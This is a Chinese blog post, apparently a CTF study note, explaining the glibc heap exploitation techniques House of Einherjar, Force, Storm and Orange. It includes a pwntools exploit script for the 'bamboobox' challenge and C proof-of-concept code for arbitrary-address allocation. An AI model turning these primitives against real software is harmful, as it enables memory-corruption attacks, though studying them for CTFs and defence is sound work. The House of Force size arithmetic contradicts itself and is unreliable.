初音未来の消失

glibc house_of_* 漏洞集锦

House of Einherjar

也就是利用 off_by_one 的原理来填充 next_chunk 的 prev_size ,再进行 unlink 操作,配合 fake_chunk 的构造,实现任意地址写。(详情见之前的文章)

House of Force

介绍

参考文章

House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通过 House of Force 方法进行利用,需要以下条件:

  1. 能够以 溢出 等方式控制到 top chunksize
  2. 能够自由地控制堆分配尺寸的大小

简而言之,如果我现在能够进行堆溢出,修改 top_chunksize, 并且拥有两次能够任意控制大小的 malloc 的机会,通过构造payload, 可以实现任意地址写。

步骤

以 ctf_wiki - bamboo 为例子

  1. 填充 top_chunk_size

我现在有一个堆块,是我自己创建的(0x603020),大小为0x30。紧跟其后的是 top_chunk,大小为0x20fa0,现在我可以通过堆溢出的方式将 0x603068 修改为 p64(-1)

修改完成:

这样,glibc 在 top_chunk 切割并分配新的区块的时候,就会认为自己有一个非常大的 top_chunk,就能够实现任意大小区块的分配。

  1. 构造 malloc_size

如果这个时候分配一个 p64(-0x60) 的区块,由于 unsigned_int 的关系,-0x60被转化成一个很大的正数,top_chunk 被切割(相当于把 2^64 - 0x60的内存空间全部当作堆块分配了出来 =-=),于是 top_chunk 就回归到了 0x60的大小,同时位置也跑到了刚刚的 offset = -0x60 的位置上去。

这样我们就可以修改到 -0x50 开始的一系列数据

但是 malloc 负数空间的处理方式有所不同,应该如何构造这个 malloc_size 呢?

  1. 我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。

    #define REQUEST_OUT_OF_RANGE(req)                                 \
    ((unsigned long) (req) >=                           \
    (unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE))
  2. 在满足对应的约束后,我们需要使得 request2size正好转换为对应的大小,也就是说我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为 - 4112。

    #define request2size(req)                                         \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
    MINSIZE :                                                      \
    ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

首先,很显然,-4112 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了,因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而如果 -4112 不是 MALLOC_ALIGN 的时候,我们就需要多减一些了。当然,我们最好使得分配之后得到的 chunk 也是对齐的,因为在释放一个 chunk 的时候,会进行对齐检查。

我们只需要让 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好等于 -0x60 就行了。

req 就是我们的 malloc_size

SIZE_SZ 等于 4(32位),8(64位)

MALLOC_ALIGN_MASK 等于 4(32位),7(64位)

req = -0x30 - SIZE_SZ - MALLOC_ALIGN_MASK = -0x60 - 7 - 4 = -0x3B

malloc(-0x6B) 即可

可以看到,修改之后,top_chunk的位置从 0x603060 变到了 0x603000。

  1. 写数据

再进行一次 malloc,但是要保证 <code>new_chunk_size + 0x10 <= top_chunk_size</code>,这样,glibc就在我们期望的地方申请了区块,就可以对其进行操作了。

from pwn import *
context.log_level = 'DEBUG'
p = process('./bamboobox')
elf = ELF('./bamboobox')

magic = 0x400D49

def add(length, data):
    p.sendafter('Your choice:', '2')
    p.sendafter('Please enter the length of item name:', str(length))
    p.sendafter('Please enter the name of item:', data)

def change(idx, length, data):
    p.sendafter('Your choice:','3')
    p.sendafter('Please enter the index of item:', str(idx))
    p.sendafter('Please enter the length of item name:', str(length))
    p.sendafter('Please enter the new name of the item:', data)

def exitpwn():
    p.sendafter('Your choice:','5')

add(0x30, 'mrh929')
#gdb.attach(p, 'b *0x400A6F')
change(0, 0x41, 'a'*0x38 + p64(0xffffffffffffffff))

#gdb.attach(p, 'b *0x400A6F')
offset = -0x60 - 0x8 -0x7
add(offset, 'bbbbbbbbbbbbbbbb')
add(0x10, 'c'*0x8 + p64(magic))

exitpwn()

p.interactive()

PS

  1. 这个方法只适用于有堆溢出的题目,并且要有malloc两次任意大小区块的能力

  2. 根据 randomize_va_space 的不同,该利用方法的使用范围不同

该方法极度依赖堆地址,若系统开启堆地址随机化(即randomize_va_space=2),则不能达到任意地址写的目的。但修改后向的堆块数据还是可以做到的(比如本题)。

House of Storm

这个漏洞利用了 largebin attack 可以进行两次任意地址写堆块地址的操作的原理,再结合 unsorted bin 不检测 bk 指针合法性的特性,从而构造一个合法的堆块供用户 malloc,达到了任意地址写的目的。

https://mrh1s.top/archives/661#toc-head-9

example

#include<stdio.h>

int buf[100];
int main(){
        void *A, *B, *p;
        void *evil_addr = (void*)buf;

        printf("evil_addr:%p\n", evil_addr);
        evil_addr -= 0x10;

        A=malloc(0x400-0x10); //A
        malloc(0x10);         //gap
        B=malloc(0x420-0x10); //B
        malloc(0x10);         //gap

        free(A);        //free A into unsorted bin.
        malloc(0x500);  //sort A into largebin.
        free(B);        //free B into unsorted bin.

        *(long long*)(A+0x18)=evil_addr-0x20+8-5;  //A->bk_nextsize=evil_addr-0x20+8-5.
        *(long long*)(A+0x8)=evil_addr+8;          //A->bk=evil_addr+8.

        *(long long*)(B+0x8)=evil_addr;            //B->bk=evil_addr

        p = malloc(0x48);    //evil_addr are malloced out here.
        printf("mallocted_chunk:%p\n", p);
}

用以下命令进行编译:
gcc -fpie -pie test.c -o test --debug

运行可以看到,程序成功 malloc 了 evil_addr,达到了任意地址写的目的。

why

我们首先要有两个 large chunk,一个位于 largebin 中,一个位于 unsorted_bin 中,分别记为 A、B。

  1. unsorted binB 用于伪造指针指向 evil_addr
    B->bk 改为 evil_addr,这样下一次进行 unsorted bin 整理时,程序能够顺利遍历到 evil_addr 上去

  2. largebinA 用于进行两次任意地址写堆块。
    a. 将 A->bk_nextsize 改为 evil_addr-0x20+0x8-5,这是为了让 evil_addr+0x8size 位变为 56(因为在开启 PIE 的程序里,堆块地址最高位通常为 0x56 或 0x55,而堆块地址通常只有 6 bytes

b. 将 A->bk 改为 evil_addr-0x10+0x18 = evil_addr+0x8,这是为了让 evil_addr+0x18bk 位变为可写数据的地址(详见下面的源码,如果不改 bk ,指针会出错,程序直接崩溃)

/* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

最终的 &evil_addr 处的堆块结构:

{
  prev_size = xxxxxxxxxx, 
  size = 0x56, 
  fd = 0x0, 
  bk = 0x56xxxxxxxxxxxx, 
  fd_nextsize = 0, 
  bk_nextsize = 0
};

接下来只需要 malloc(0x48)-> size = 0x58,那么就能顺利将 evil_addr 处的堆块申请到手了。不过数据区在 evil_addr+0x10,所以要提前把地址构造好。

这个利用方法有时会崩溃,因为程序会调用宏 chunk_is_mmapped(p),所以只有 0x56 开头的地址才能成功。

/* check for mmap()'ed chunk */
# define IS_MMAPPED 0x2
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)

House of Orange

抛开其它依赖 house of orange 的利用方式来说, Orange 是一个很简单的漏洞,利用 top chunk 不够分配时会掉入 unsorted bin 的特性来达到 free 操作的目的。

首先看看以下源码:

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

top chunk 掉入 unsorted bin 是有条件的,首先必须 size 不够分配,其次 size 必须满足一定条件(若 size 不满足这个条件,系统则会断定 top chunk 受到了篡改,程序崩溃)

具体要求如下:

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

什么是内存对齐呢?就是 top_chunk 的结束地址的后三位是 0x1000 的整数倍。

sigma{malloc_size} + top_size % 0x1000 == 0

如果我一开始 malloc(0x10),则需要将 top_size 修改为 4kb对齐的 size。可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1... 而诸如0x40 这样的数字不满足对齐,因此不能实现利用。

example

#define fake_size 0x1fe1

int main(void)
{
    void *ptr;

    ptr=malloc(0x10);
    ptr=(void *)((int)ptr+24);

    *((long long*)ptr)=fake_size;

    malloc(0x2000);

    malloc(0x60);
}

我们先malloc(0x10):
可以看到 top_chunk 的大小为 0x20fe0

接下来执行修改 top_size,并且 malloc(0x2000) (0x2010 > top_size):
top chunk 被成功放入了 unsorted bin

这时候,再 malloc(0x60),因为 unsorted bin 中的 top_chunk 足够大,所以执行 split 切割指令,漏洞利用成功。

退出移动版